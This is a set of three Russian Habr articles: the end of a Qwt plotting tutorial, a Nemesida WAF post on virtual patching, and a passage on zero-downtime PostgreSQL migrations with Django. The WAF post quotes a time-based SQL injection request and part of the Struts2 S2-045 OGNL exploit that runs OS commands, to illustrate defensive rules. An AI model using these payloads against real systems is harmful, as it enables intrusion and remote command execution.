QBrush( Qt::yellow ), QPen( Qt::red, 2 ), QSize( 8, 8 ) );
curve->setSymbol( symbol );
}
void MainWindow::addPointsToCurveAndShow()
{
// Добавить точки на ранее созданную кривую
// Значения точек записываются в массив, затем считываются
// из этого массива
for (int i = 0; i < 5; i++) {
pointArray[i][0] = 1.0 + 0.5\*i;
pointArray[i][1] = 1.0 + 0.5\*i;
points << QPointF( pointArray[i][0], pointArray[i][1]);
}
curve->setSamples( points ); // ассоциировать набор точек с кривой
curve->attach( d\_plot ); // отобразить кривую на графике
}
void MainWindow::enableMagnifier()
{
// #include
magnifier = new QwtPlotMagnifier(d\_plot->canvas());
// клавиша, активирующая приближение/удаление
magnifier->setMouseButton(Qt::MidButton);
}
void MainWindow::enableMovingOnPlot()
{
// #include
d\_panner = new QwtPlotPanner( d\_plot->canvas() );
// клавиша, активирующая перемещение
d\_panner->setMouseButton( Qt::RightButton );
}
void MainWindow::enablePicker()
{
// #include
// настройка функций
d\_picker =
new QwtPlotPicker(
QwtPlot::xBottom, QwtPlot::yLeft, // ассоциация с осями
QwtPlotPicker::CrossRubberBand, // стиль перпендикулярных линий
QwtPicker::AlwaysOn, // всегда включен
d\_plot->canvas() ); // ассоциация с полем
// Цвет перпендикулярных линий
d\_picker->setRubberBandPen( QColor( Qt::red ) );
// цвет координат положения указателя
d\_picker->setTrackerPen( QColor( Qt::black ) );
// непосредственное включение вышеописанных функций
d\_picker->setStateMachine( new QwtPickerDragPointMachine() );
}
MainWindow::~MainWindow()
{
delete ui;
}
```
**Добавим строку состояния**Прописываем прототип функции в mainwindow.h:
```
void setStatusBar();
```
Добавляем код в mainwindow.cpp
```
void MainWindow::setStatusBar()
{
#ifndef QT_NO_STATUSBAR
( void )statusBar();
#endif
}
```
Вызываем функцию из конструктора MainWindow:
```
setStatusBar();
```
**Сохраним координаты клика в переменных и отобразим их в строке состояния**Отображать координаты можно как по клику мышкой, так и в режиме реального времени. Так как в реальном времени координаты у нас уже отображаются возле курсора (небольшая поправочка кода части №1), то реализуем первый вариант.
Клик – это событие. Следовательно, создадим слот, который будет принимать это событие (сигнал). В *mainwindow.h* добавим новую приватную секцию и следующий код:
```
private Q_SLOTS:
void click_on_canvas( const QPoint &pos );
```
Реализуем слот (функцию) в mainwindow.cpp:
```
void MainWindow::click_on_canvas( const QPoint &pos )
{
// считываем значения координат клика
double x = d_plot->invTransform(QwtPlot::xBottom, pos.x());
double y = d_plot->invTransform(QwtPlot::yLeft, pos.y());
QString info = "x= " + QString::number(x) +
"; y = " + QString::number(y);
// отображаем информацию в строке состояния
statusBar()->showMessage(info);
}
```
В конструкторе MainWindow создаем пару «сигнал-слот».
```
// коннектить нужно именно к d_picker, но не к d_plot!
connect( d_picker, SIGNAL( appended( const QPoint & ) ),
SLOT( click_on_canvas( const QPoint & ) ) );
```
**Откомпилируем и кликнем в любом месте экрана (показан нижний кусочек графика):**
Как вы уже поняли, координаты клика, записанные в переменные double, можно использовать как угодно.
**Создадим панель управления**Добавляем приватную переменную в mainwindow.h
```
QToolBar *toolBar;
```
Прописываем прототип функции в mainwindow.h:
```
void setToolBar ();
```
Добавляем код в mainwindow.cpp
```
void MainWindow::setToolBar()
{
toolBar = new QToolBar( this );
addToolBar( toolBar );
}
```
Вызываем функцию из конструктора MainWindow:
```
setToolBar();
```
**Результат:** в верхней части появилась тонкая полоска — панель инструментов
(пока пустая).
**Добавим кнопку на панель управления**В начало mainwindow.h добавляем:
```
#include
```
Добавляем приватные переменные в mainwindow.h и приватную функцию-прототип:
```
QToolButton *toolButton;
void addCorrectionButton();
```
Добавляем код в mainwindow.cpp
```
void MainWindow::addCorrectionButton()
{
toolButton = new QToolButton( toolBar );
toolButton->setText( "Change x" );
toolButton->setCheckable( true );
toolBar->addWidget( toolButton ); // добавить кнопку на панель инструментов
}
```
Вызываем функцию из конструктора MainWindow:
```
addCorrectionButton();
```
**Добавим на панель управления QwtCounter**В начало mainwindow.h добавляем:
```
#include
#include
```
Добавляем приватные переменные в mainwindow.h и приватную функцию-прототип:
```
QWidget *hBox;
QHBoxLayout *layout;
QwtCounter *cntDamp;
void addQwtCounter();
```
Добавляем код в mainwindow.cpp
```
void MainWindow::addQwtCounter()
{
// настраиваем параметры установщика смещения
cntDamp = new QwtCounter();
cntDamp->setRange( -50, 50 );
// шаг изменения числа при нажатии одинарной стрелки
// при нажатии двойной стрелки число изменяется на порядок больше
cntDamp->setSingleStep( 1.0 );
cntDamp->setValue( 0 ); // начальное значение
cntDamp->setEnabled(true);
// Размещение элемента на панели инструментов
// новый виджет
hBox = new QWidget();
// "контейнер", организущий виджеты в горизонтальной последовательности
// ассоциируется с объектом типа QWidget.
layout = new QHBoxLayout( hBox );
// помещаем в контейнер установщик смещения
layout->addWidget(cntDamp);
// без этой строчки установщик смещения будет растянут на всю панель
layout->addWidget( new QWidget(hBox) , 10 ); // spacer
// помещаем виджет на уже имеющуюся панель инструментов
( void )toolBar->addWidget( hBox );
}
```
Вызываем функцию из конструктора MainWindow:
```
addQwtCounter();
```
**Результат:**
**Зададим с помощью QwtCounter смещение графика x**В mainwindow.h в секцию private Q\_SLOTS добавим еще один слот:
```
void setPlotCorrection( double coeff );
```
В mainwindow.h добавим приватную переменную:
```
double changeXValue;
```
Реализуем слот (функцию) в mainwindow.cpp:
```
void MainWindow::setPlotCorrection( double coeff )
{
changeXValue = coeff;
}
```
В конструкторе MainWindow инициализируем добавленную переменную и создаем пару «сигнал-слот»:
```
changeXValue = 0.0;
connect( cntDamp, SIGNAL( valueChanged( double ) ),
SLOT( setPlotCorrection( double ) ) );
```
**Нажатием на кнопку сместим график на ранее заданную величину х**В mainwindow.h в секцию private Q\_SLOTS добавим еще один слот:
```
void changeX();
```
реализуем слот (функцию) в mainwindow.cpp:
```
void MainWindow::changeX()
{
// очистить контейнер точек
points.clear();
for (int i = 0; i < 5; i++) {
pointArray[i][0] += changeXValue;
points << QPointF( pointArray[i][0], pointArray[i][1]);
}
curve->setSamples( points ); // ассоциировать набор точек с кривой
d_plot->replot();
}
```
После добавления этих строчек в нашем коде появляется дублирование. Однако, программа имеет демонстрационный характер, поэтому рефакторинг не производился.
В конструкторе MainWindow создаем пару «сигнал-слот»:
```
connect( toolButton, SIGNAL(toggled(bool)),
SLOT( changeX() ) );
```
*Примечание:* кнопка имеет два различных положения (нажата/не нажата), однако, в программе это состояние не отслеживается.
**Результаты и выводы**Запустим программу. Установим стрелочками любое число и нажмем на кнопку. График успешно смещается по полю на заданную величину.
**Выводы:**
В данной статье на простом примере показано, как добавлять элементы управления вручную, и с помощью них производить модификацию графика.
Очевидно, добавление управляющих элементов вручную –процесс, требующий дополнительного ручного кодирования. Хотелось бы использовать GUI. Именно этому будет посвящена моя следующая статья.
**Спасибо за внимание!**
P.S. Просьба оставить комментарии по поводу оформления статьи. Удобно ли было ее читать? Может быть, изменить представление материала? Как?
**Ссылки:**
*Архив с исходниками данного примера:* [yadi.sk/d/TcMglWvAHWvxT](http://yadi.sk/d/TcMglWvAHWvxT)
*Официальный ресурс Qwt:* qwt.sourceforge.net
*Сборник решений разнообразных пробем c Qwt:* [www.qtcentre.org/archive/index.php/f-23.html](http://www.qtcentre.org/archive/index.php/f-23.html)
*Часть №1 цикла статей про Qwt:* [habrahabr.ru/post/211204](http://habrahabr.ru/post/211204/)
*Вариант библиотеки, альтернативный Qwt* (спасибо, [GooRoo](http://habrahabr.ru/users/gooroo/)!)
[www.qcustomplot.com](http://www.qcustomplot.com) | https://habr.com/ru/post/211867/ | null | ru | null |
# Virtualpatching в Nemesida WAF: патчим уязвимости «на лету»
Основное предназначение WAF — выявлять атаки на веб-приложение. Мы пошли дальше и реализовали систему виртуального патчинга, позволяющую накладывать заплатки «на лету», не дожидаясь выпуска обновлений вендором. В статье будут рассмотрены примеры поиска уязвимостей в веб-приложении и создания виртуальных патчей к ним.
Система виртуального патчинга в Nemesida WAF представлена в виде сканера уязвимостей и функционала, позволяющего конвертировать обнаруженные уязвимости в виртуальный патч.
### Nemesida Scanner
Для выпуска патча необходимо сперва найти уязвимости. Чтобы во время их поиска работа веб-приложения не была нарушена, мы разработали специальную «облегченную» версию Nemesida Scanner для Nemesida WAF. В таблице ниже представлено сравнение версий.
| Nemesida Scanner (Full version) | Nemesida Scanner (Nemesida WAF version) |
| --- | --- |
| — выявляет уязвимости: SQL-инъекции, XSS, LFI/RFI, XXE, Оpen-redirect;
— выявляет компоненты с известными уязвимостями;
— обнаруживает критичные данные (файлов, каталоги, поддомены) в открытом доступе;
— определяет версий и типов установленных CMS, их плагинов;
— выявляет недостатки конфигурации веб-приложения;
— подбирает пароли;
— сканирует порты. | — выявляет SQL-инъекции, XSS;
— обнаруживает критичные данные (файлы, каталоги, поддомены) в открытом доступе;
— выявляет компоненты с известными уязвимостями. |
Версия сканера для Nemesida WAF, в отличие от полной версии, не несет опасную «полезную нагрузку», таким образом способна производить поиск уязвимостей не нарушая штатной работы веб-приложения, используя метод файзинга передаваемых параметров с подстановкой множества типов запросов (payloads), наличие уязвимости определяется по таким симптомам, как типы ответов веб-приложения, задержка ответов и т.д.
**Симптомы наличия SQL injection**`- Sql syntax
- System.Data.OleDb.OleDbException
- [SQL Server]
- [Microsoft][ODBC SQL Server Driver]
- [SQLServer JDBC Driver]
- [SqlException
- System.Data.SqlClient.SqlException
- Unclosed quotation mark after the character string
- '80040e14'
- mssql_query()
- odbc_exec()
- Microsoft OLE DB Provider for ODBC Drivers
- Microsoft OLE DB Provider for SQL Server
- Incorrect syntax near
- Sintaxis incorrecta cerca de
- Syntax error in string in query expression
- ADODB.Field (0x800A0BCD)`
Информация о выявленных уязвимостях отображается в личном кабинете Nemesida WAF.
#### Пример работы Nemesida Scanner (WAF module)
В качестве примера работы Nemesida Scanner можно привести уязвимость типа SQLi в приложении DVWA (Damn Vulnerable Web Application):
`http://example.com/vulnerabilities/sqli/?id=2&Submit=Submit`
В данном примере «id» является уязвимым параметром, который будет выявлен сканером путем подстановки различных значений. Например, при подстановке вместо значения обычной кавычки веб-приложение выдаст ошибку:
`You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''''' at line 1`
позволяя Nemesida Scanner по симптому ответа выявить уязвимость класса «Error based sql-injection».
### Virtualpatching
После того, как Nemesida WAF выявит уязвимость в защищаемом веб-приложении, производится ее ручная валидация. Если уязвимость существует, выпускается правило виртуального патчинга, блокирующее возможность эксплуатации уязвимости злоумышленником.
> Виртуальный патчинг – это механизм, который исключает возможность использования уязвимости в ПО и не требует внесения изменений в исходный код ПО. Реализуется этот механизм в слое обеспечения безопасности, который осуществляют анализ и фильтрацию входящего трафика.
>
>
>
> Виртуальный патчинг — защищает приложения сайта от неисправленных уязвимостей, обнаруживая попытки эксплуатации уязвимостей, что позволяет не нарушать работу веб-приложения. Применения правил виртуального патчинга позволяет разработчикам спокойно заниматься исправлением уязвимости, без необходимости срочного изменения кода (который может повлечь за собой проблемы в безопасности. Виртуальный патчинг позволяет «на лету» блокировать все попытки эксплуатации известной уязвимости, особым образом контролируя зону атаки.
#### Пример 1. PHP Melody 2.7.1 — 'playlist' SQL Injection
Передача значения «foo» в параметре «id» может привести к эксплуатации уязвимости, причём значение «foo» может не входить в «классические сигнатуры» из-за своей специфичности.
Эксплуатация уязвимости CVE-2018-5211 (PHP Melody 2.7.1 — 'playlist' SQL Injection) будет заблокирована сигнатурным анализом (без обфускации), либо модулем искусственного интеллекта «Nemesida AI» — при обфускации кода.
`GET /ajax.php?p=video&do=getplayer&vid=randomid&aid=1&player=detail&playlist='+(select*from(select(sleep(20)))a)+' HTTP/1.1`
Правилом виртуального патчинга для параметра «playlist» будет являться запрет использования любых параметров, кроме допустимых (верных). В данном случае правило патча не допустит иных параметров, кроме цифровых:
`playlist=123`
#### Пример 2. Классическая SQL-инъекция
Использование ограниченного набора символов для уязвимого параметра применимо и к указанному выше примеру (выявленному по симптому ответа веб-приложения):
`http://test/vulnerabilities/sqli/?id=2&Submit=Submit`
использование символов, отличных от 0-9 (белый список), либо ограничение использования символов или запросов, приводящих к эксплуатации уязвимости (черный список), например таких, как одинарная и двойная кавычки, спецсимволы (%,&), скобки, синтаксис MySQL команд и т.д. Большинство из них входит в сигнатуры (первичная модель работы, до обучения «Nemesida AI»), но использование всех или группы вхождений такого рода (в базе сигнатур) приведет к появлению ложных срабатываний (false positive), поэтому применение этих запросов допустимо в конкретной зоне и в уязвимом параметре. При достаточно высоком количестве запросов. После того, как модуль искусственного интеллекта произведет обработку достаточного для построения модели веб-приложения запросов, подобные атаки будут автоматически блокироваться модулем Nemesida AI без ложных срабатываний.
#### Пример 3. CVE: 2017-5638 — Apache Struts2 S2-045
Часть исходного кода эксплоита приведёна в качестве примера, в нем отсутствуют признаки классических веб-уязвимостей:
`payload = "%{(#_='multipart/form-data')."
payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
payload += "(#_memberAccess?"
payload += "(#_memberAccess=#dm):"
payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
payload += "(#ognlUtil.getExcludedPackageNames().clear())."
payload += "(#ognlUtil.getExcludedClasses().clear())."
payload += "(#context.setMemberAccess(#dm))))."
payload += "(#cmd='%s')." % cmd
payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
payload += "(#ros.flush())}"`
Правилом виртуального патчинга для данной уязвимости будет использование специфичных, присущих данной эксплуатации, вхождений и их возможных модификаций, а также зон применения. Например, это может быть вхождение «struts2.ServletActionContext».
### Заключение
В то время, как Nemesida WAF обнаруживает и блокирует широкий спектр уязвимостей, применение виртуального патчинга позволяет значительно сузить область действия правила блокировки, минимизируя ложные срабатывания. На базе виртуального патчинга могут быть созданы новые сигнатурные методы блокирования атак, необходимые для первичной защиты веб-приложения, пока модуль искусственного интеллекта «Nemesida AI» производит построение моделей.
Предыдущие статьи:
[Искусственный интеллект Nemesida WAF](https://habrahabr.ru/company/pentestit/blog/340704/)
[Улучшаем работу искусственного интеллекта в Nemesida WAF](https://habrahabr.ru/company/pentestit/blog/344104/)
Nemesida WAF — это мощный инструмент для выявления и блокирования атак на веб-приложения на основе искусственного интеллекта. Чтобы ощутить это на практике — запросите предустановленную VM с Trial-версией [Nemesida WAF](https://waf.pentestit.ru/) или активируйте облачную защиту на 2 недели бесплатно. | https://habr.com/ru/post/346044/ | null | ru | null |
# Миграция схемы базы данных без даунтайма для postgresql на примере django
Введение
========
Привет, Хабр!
Хочу поделиться опытом написания миграций для postgres и django. Речь в основном пойдёт про postgres, django же здесь хорошо дополняет, так как из коробки имеет автоматическую миграцию схемы данных по изменениям модельки, то есть имеет довольно полный список рабочих операций по изменению схемы. Django можно заменить на любой любимый фрэймворк/библиотеку — подходы скорее всего будут похожи.
Не буду описывать как я к этому пришёл, но сейчас читая документацию ловлю на мысли, что нужно было с большей внимательностью и осознанием делать это раньше, поэтому очень рекомендую.
Перед тем как пойти дальше позволю себе сделать следующие предположения.
Можно разделить логику работы с базой данных большинства приложений на 3 части:
1. Миграции — изменение схемы базы данных (таблиц), предположим мы всегда запускаем их в один поток.
2. Бизнес логика — непосредственная работа с данными (в пользовательских таблицах), работает с одними и теми же данными постоянно и конкурентно.
3. Миграции данных — не изменяют схемы данных, работают по сути как бизнес логика, по умолчанию, когда будем говорить про бизнес логику, будем также подразумевать и миграции данных.
Даунтайм — это состояние, когда часть нашей бизнес логики не доступна/падает/грузится на заметное для пользователя время, предположим это пару секунд.
Отсутствие даунтайма может быть критическим для бизнеса условием, которого любыми усилиями нужно придерживаться.
Процесс выкатки
===============
Основное требования при выкатке:
1. у нас одна рабочая база.
2. у нас несколько машинок, где крутится бизнес логика.
3. машинки с бизнес логикой спрятаны за балансером.
4. наше приложение хорошо работает до, во время и после накатки миграции (старый код работает корректно со старой и новой схемой базы).
5. наше приложение хорошо работает до, во время и после обновления кода на машинках (старый и новый код работает корректно с текущей схемой базы).
Если имеется большое количество изменений и выкатка перестаёт удовлетворять этим условиям, то она делится на нужное количество меньших выкаток, удовлетворяющих этим условиям, иначе у нас идёт даунтайм.
Прямой порядок выкатки:
1. залили миграцию;
2. убрали из балансера одну машинку, обновили машинку и перезапустили, вернули машинку в балансер;
3. повторили предыдущий шаг до обновления всех машинок.
Обратный порядок выкатки актуален для удаления таблиц и колонок в таблице, когда мы автоматически создаём миграции по изменённой схеме и валидируем наличие всех миграций на CI:
1. убрали из балансера одну машинку, обновили машинку и перезапустили, вернули машинку в балансер;
2. повторили предыдущий шаг до обновления всех машинок;
3. залили миграцию.
Теория
======
Postgres отличная база данных, мы можем писать приложение, которое в сотни и тысячи потоков будет писать и читать одни и те же данных, и с большой вероятностью быть уверенными, что наши данные будут оставаться валидными и не будут повреждены, в общем полный ACID. Postgres реализует несколько механизмов по достижению этого, один из них это блокировки.
У postgres есть несколько типов блокировок, подробнее можно посмотреть [здесь](https://www.postgresql.org/docs/current/static/explicit-locking.html), в рамках темы я затрону только блокировки на уровне таблицы и записи.
Блокировки на уровне таблицы
----------------------------
На уровне таблицы postgres имеет [несколько видов блокировок](https://www.postgresql.org/docs/current/static/explicit-locking.html#LOCKING-TABLES), основная особенность, что у них есть конфликты, то есть две операции с конфликтующими блокировками не могут выполняться одновременно:
| | `ACCESS SHARE` | `ROW SHARE` | `ROW EXCLUSIVE` | `SHARE UPDATE EXCLUSIVE` | `SHARE` | `SHARE ROW EXCLUSIVE` | `EXCLUSIVE` | `ACCESS EXCLUSIVE` |
| --- | --- | --- | --- | --- | --- | --- | --- | --- |
| `ACCESS SHARE` | | | | | | | | X |
| `ROW SHARE` | | | | | | | X | X |
| `ROW EXCLUSIVE` | | | | | X | X | X | X |
| `SHARE UPDATE EXCLUSIVE` | | | | X | X | X | X | X |
| `SHARE` | | | X | X | | X | X | X |
| `SHARE ROW EXCLUSIVE` | | | X | X | X | X | X | X |
| `EXCLUSIVE` | | X | X | X | X | X | X | X |
| `ACCESS EXCLUSIVE` | X | X | X | X | X | X | X | X |
Например, `ALTER TABLE tablename ADD COLUMN newcolumn integer` и `SELECT COUNT(*) FROM tablename` должны быть строго выполнены одна за одной, иначе мы не можем узнать какие колонки возвращать в `COUNT(*)`.
В django миграциях (полный список ниже) присутствуют следующие операции и соответствующие им блокировки:
| блокировки | операции |
| --- | --- |
| `ACCESS EXCLUSIVE` | `CREATE SEQUENCE`, `DROP SEQUENCE`, `CREATE TABLE`, `DROP TABLE`, `ALTER TABLE`, `DROP INDEX` |
| `SHARE` | `CREATE INDEX` |
| `SHARE UPDATE EXCLUSIVE` | `CREATE INDEX CONCURRENTLY`, `DROP INDEX CONCURRENTLY`, `ALTER TABLE VALIDATE CONSTRAINT` |
Из замечаний не все `ALTER TABLE` имеют `ACCESS EXCLUSIVE` блокировку, также в django миграциях отсутствуют `CREATE INDEX CONCURRENTLY` и `ALTER TABLE VALIDATE CONSTRAINT`, но они понадобятся для более безопасной альтернативы стандартным операциям чуть позже.
Если миграции выполняются в один поток последовательно, то тут всё выглядит хорошо, так как миграция не будет конфликтовать с другой миграцией, но наша бизнес логика будет работать как раз во время миграции и конфликтовать.
| блокировки | операции | конфликтует с блокировками | конфликтует с операциями |
| --- | --- | --- | --- |
| `ACCESS SHARE` | `SELECT` | `ACCESS EXCLUSIVE` | `ALTER TABLE`, `DROP INDEX` |
| `ROW SHARE` | `SELECT FOR UPDATE` | `ACCESS EXCLUSIVE`, `EXCLUSIVE` | `ALTER TABLE`, `DROP INDEX` |
| `ROW EXCLUSIVE` | `INSERT`, `UPDATE`, `DELETE` | `ACCESS EXCLUSIVE`, `EXCLUSIVE`, `SHARE ROW EXCLUSIVE`, `SHARE` | `ALTER TABLE`, `DROP INDEX`, `CREATE INDEX` |
Тут можно резюмировать два пункта:
1. если существует альтернатива с более лёгкой блокировкой — можно использовать её, как `CREATE INDEX` и `CREATE INDEX CONCURRENTLY`.
2. большинство миграций по изменению схемы данных конфликтуют с бизнес логикой, причём конфликтуют с `ACCESS EXCLUSIVE`, то есть мы даже не сможем сделать `SELECT` пока держим эту блокировку и потенциально здесь нас ожидает даунтайм, за исключением случая, когда данная операция не отработает моментально и наш даунтайм составит пару секунд.
Тут должен быть выбор, либо мы всегда избегаем `ACCESS EXCLUSIVE`, то есть создаём новую таблички и копируем туда данные — надёжно, но долго для большого объёма данных, либо делаем `ACCESS EXCLUSIVE` максимально быстрым и делаем дополнительные предостережения от даунтайма — потенциально опасно, но быстро.
Блокировки на уровне записи
---------------------------
На уровне записи тоже есть свои блокировки <https://www.postgresql.org/docs/current/static/explicit-locking.html#LOCKING-ROWS>, они также конфликтует между собой, но затрагивают только нашу бизнес логику:
| | `FOR KEY SHARE` | `FOR SHARE` | `FOR NO KEY UPDATE` | `FOR UPDATE` |
| --- | --- | --- | --- | --- |
| `FOR KEY SHARE` | | | | X |
| `FOR SHARE` | | | X | X |
| `FOR NO KEY UPDATE` | | X | X | X |
| `FOR UPDATE` | X | X | X | X |
Здесь основной пункт в миграциях данных, то есть, если мы сделаем в миграции данных `UPDATE` на всю табличку, то остальная бизнес логика, которая обновляет данные, будет ждать освобождения блокировки и может превысить наш порог даунтайма, поэтому лучше для миграций данных делать обновления частями. Также стоит заметить, что при использовании более сложных sql запросов для миграций данных разбиение на части может быстрее работать, так как может использовать более оптимальный план и индексы.
Очерёдность выполнения операций
-------------------------------
Ещё одним важным знанием является то как операции будут выполняться, когда и как они берут и освобождают блокировки:
Здесь можно выделить следующие пункты:
1. время выполнения операции — для миграции это время удерживания блокировки, если тяжёлая блокировка удерживается долго — у нас будет даунтайм, например это может быть при `CREATE INDEX` или `ALTER TABLE ADD COLUMN SET DEFAULT` (в postgres 11 с этим получше).
2. время ожидания конфликтующих блокировок — то есть миграция ждёт пока отработают все конфликтующие запросы, а в это время новые запросы будут ждать нашей миграции, здесь очень опасными могут быть медленные запросы как просто не оптимальные, так и аналитические, поэтому медленный запросов не должно быть во время миграции.
3. количество запросов в секунду — если у нас много запросов долго отрабатывают, то свободные соединения быстро могут закончиться и вместо одного проблематичного места у нас в даунтайм может уйти вся база (останется только лимит соединений для суперюзера), здесь нужно избегать медленных запросов, уменьшать количество запросов, например, запускать миграции во время минимальной нагрузки, разделять критические компоненты на разные сервисы со своими базами.
4. много операций миграций в одной транзакции — чем больше в одной транзакции операций, тем дольше удерживается тяжёлая блокировка, поэтому тяжёлые операции лучше разделять, никаких `ALTER TABLE VALIDATE CONSTRAINT` или миграций данных в одной транзакции с тяжёлой блокировкой.
Таймауты
--------
У postgres есть такие настройки как `lock_timeout` и `statement_timeout`, которые могут обезопасить запуск миграций, как от плохо написанной миграции, так и от плохих условий в которых миграция может запускаться. Могут устанавливаться как глобально, так и для текущего соединения.
`SET lock_timeout TO '2s'` позволит избежать даунтайма при ожидании медленных запросов/транзакций перед миграцией: <https://www.postgresql.org/docs/current/static/runtime-config-client.html#GUC-LOCK-TIMEOUT>.
`SET statement_timeout TO '2s'` позволит избежать даунтайма при запуске тяжёлой миграции с тяжёлой блокировкой: <https://www.postgresql.org/docs/current/static/runtime-config-client.html#GUC-STATEMENT-TIMEOUT>.
Дэдлоки
-------
Дэдлоки в миграциях не про даунтайм, но приятного мало, когда миграция написана, отлично работает на тестовом окружении, но ловит дэдлок при накатке на прод. Основными источниками проблем могут быть большое количество операций в одной транзакции и Foreign Key, так как создаёт блокировки в обоих таблицах, поэтому лучше разделять операции миграций, чем атомарнее — тем лучше.
Хранение записей
----------------
Postgres [хранит значения разного типа по-разному](https://www.postgresql.org/docs/current/static/storage-toast.html#STORAGE-TOAST-ONDISK): если типы хранятся по разному, то конвертация между ними потребует полной перезаписи всех значений, к счастью некоторые типы хранятся одинаково и не требуют перезаписи при измении. Например, строки хранятся одинаково независимо от размера и уменьшение/увеличения размерности строки не потребует перезаписи, но уменьшение требует проверки, что все строки не превышают меньшего размера. Другие типы также могут храниться подобным образом и иметь схожие особенности.
Multiversion Concurrency Control (MVCC)
---------------------------------------
Согласно [документации](https://www.postgresql.org/docs/current/static/mvcc-intro.html), консистентность в postgres основана на мультиверсионности данных, то есть каждая транзакция и операция видит свою версию данных. Эта особенность отлично справляется с конкурентным доступом, а также даёт интересный эффект, когда изменение схемы как добавление и удаление колонок меняет только схему, если нет дополнительных операций по изменению данных, индексов или констрэйнтов, после чего операции вставки и обновления на низком уровне будут создавать новые записи со всеми нужными значениями, удаление будет помечать соответствующую запись удалённой. За очистку оставшегося мусора отвечает VACUUM или AUTO VACUUM.
Пример django
=============
У нас теперь есть представление от чего может зависеть даунтайм и как его можно избегать, но перед тем как применить знания можно глянуть, что из коробки даёт django (<https://github.com/django/django/blob/2.1.2/django/db/backends/base/schema.py> и <https://github.com/django/django/blob/2.1.2/django/db/backends/postgresql/schema.py>):
| | операция |
| --- | --- |
| 1 | `CREATE SEQUENCE` |
| 2 | `DROP SEQUENCE` |
| 3 | `CREATE TABLE` |
| 4 | `DROP TABLE` |
| 5 | `ALTER TABLE RENAME TO` |
| 6 | `ALTER TABLE SET TABLESPACE` |
| 7 | `ALTER TABLE ADD COLUMN [SET DEFAULT] [SET NOT NULL] [PRIMARY KEY] [UNIQUE]` |
| 8 | `ALTER TABLE ALTER COLUMN [TYPE] [SET NOT NULL|DROP NOT NULL] [SET DEFAULT|DROP DEFAULT]` |
| 9 | `ALTER TABLE DROP COLUMN` |
| 10 | `ALTER TABLE RENAME COLUMN` |
| 11 | `ALTER TABLE ADD CONSTRAINT CHECK` |
| 12 | `ALTER TABLE DROP CONSTRAINT CHECK` |
| 13 | `ALTER TABLE ADD CONSTRAINT FOREIGN KEY` |
| 14 | `ALTER TABLE DROP CONSTRAINT FOREIGN KEY` |
| 15 | `ALTER TABLE ADD CONSTRAINT PRIMARY KEY` |
| 16 | `ALTER TABLE DROP CONSTRAINT PRIMARY KEY` |
| 17 | `ALTER TABLE ADD CONSTRAINT UNIQUE` |
| 18 | `ALTER TABLE DROP CONSTRAINT UNIQUE` |
| 19 | `CREATE INDEX` |
| 20 | `DROP INDEX` |
Мои потребности в миграциях django покрывает очень хорошо, теперь можно с нашими знаниями обсудить безопасные и опасные операции для миграций без даунтайма.
Безопасными будем называть миграции с `SHARE UPDATE EXCLUSIVE` блокировкой или `ACCESS EXCLUSIVE`, которая отрабатывает моментально.
Опасными будем называть миграции c `SHARE` и `ACCESS EXCLUSIVE` блокировками, которые занимают значительное время.
Заранее оставлю полезную [ссылку на документацию](https://www.postgresql.org/docs/current/static/sql-altertable.html) с замечательными примерами.
Создание и удаление таблицы
---------------------------
`CREATE SEQUENCE`, `DROP SEQUENCE`, `CREATE TABLE`, `DROP TABLE` можно назвать безопасными, так как бизнес логика либо ещё, либо уже не работает с мигрируемой таблицей, поведение удаления таблицы с FOREIGN KEY будет чуть позже.
Тяжело поддерживаемые операции на рабочих таблицах
--------------------------------------------------
`ALTER TABLE RENAME TO` — не могу назвать безопасной, так как тяжело писать логику, которая работает с такой таблицей до и после миграции.
`ALTER TABLE SET TABLESPACE` — небезопасная, так как физически перемещает табличку, а это на большом объёме может быть долго.
С другой стороны эти операции скорее крайне редки, как альтернативу можно предложить создание новой таблицы и копирование данных в неё.
Создание и удаление колонки
---------------------------
`ALTER TABLE ADD COLUMN`, `ALTER TABLE DROP COLUMN` — можно назвать безопасными (создание именно без DEFAULT/NOT NULL/PRIMARY KEY/UNIQUE), так как бизнес логика либо ещё, либо уже не работает с мигрируемой колонкой, поведение удаления колонки с FOREIGN KEY, другими констрэйнтами и индексами будет позже.
`ALTER TABLE ADD COLUMN SET DEFAULT`, `ALTER TABLE ADD COLUMN SET NOT NULL`, `ALTER TABLE ADD COLUMN PRIMARY KEY`, `ALTER TABLE ADD COLUMN UNIQUE` — небезопасные операции, так как добавляют колонку и не отпуская блокировки обновляют данные дефолтами или создают констрэйнты, в качестве альтернативы создание nullable колонки и дальнейшее изменение.
Стоит упомянуть более быстрый `SET DEFAULT` в postgres 11, его можно рассматривать как безопасный, но он не становится сильно полезным в django, так как django использует `SET DEFAULT` только для заполнения колонки и потом делает `DROP DEFAULT`, а в промежуток между миграцией и обновлением машинок с бизнес логикой, могут создаться записи, у которых default будет отсутствовать, то есть потом всё равно делать миграцию данных.
Тяжело поддерживаемые операции на рабочей таблице
-------------------------------------------------
`ALTER TABLE RENAME COLUMN` — также не могу назвать безопасной, так как тяжело писать логику, которая работает с такой колонкой до и после миграции. Скорее эта операция тоже не будет частой, как альтернативу можно предложить создание новой колонки и копирование данных в неё.
Изменение колонки
-----------------
`ALTER TABLE ALTER COLUMN TYPE` — операция может быть как опасной, так и безопасной. Безопасной в случае, если postgres меняет только схему, а данные уже хранятся в нужном формате и не нужны дополнительные проверки типа, например:
* изменение типа из `varchar(LESS)` в `varchar(MORE)`;
* изменение типа из `varchar(ANY)` в `text`;
* изменение типа из `numeric(LESS, SAME)` в `numeric(MORE, SAME)`.
`ALTER TABLE ALTER COLUMN SET NOT NULL` — опасная, так как внутри проходит по данным и проверяет нет ли NULL, к счастью этот констрэйнт можно заменить другим `CHECK IS NOT NULL`. Тут стоит отметить, что данная замена приведёт к другой схеме, но с идентичными свойствами.
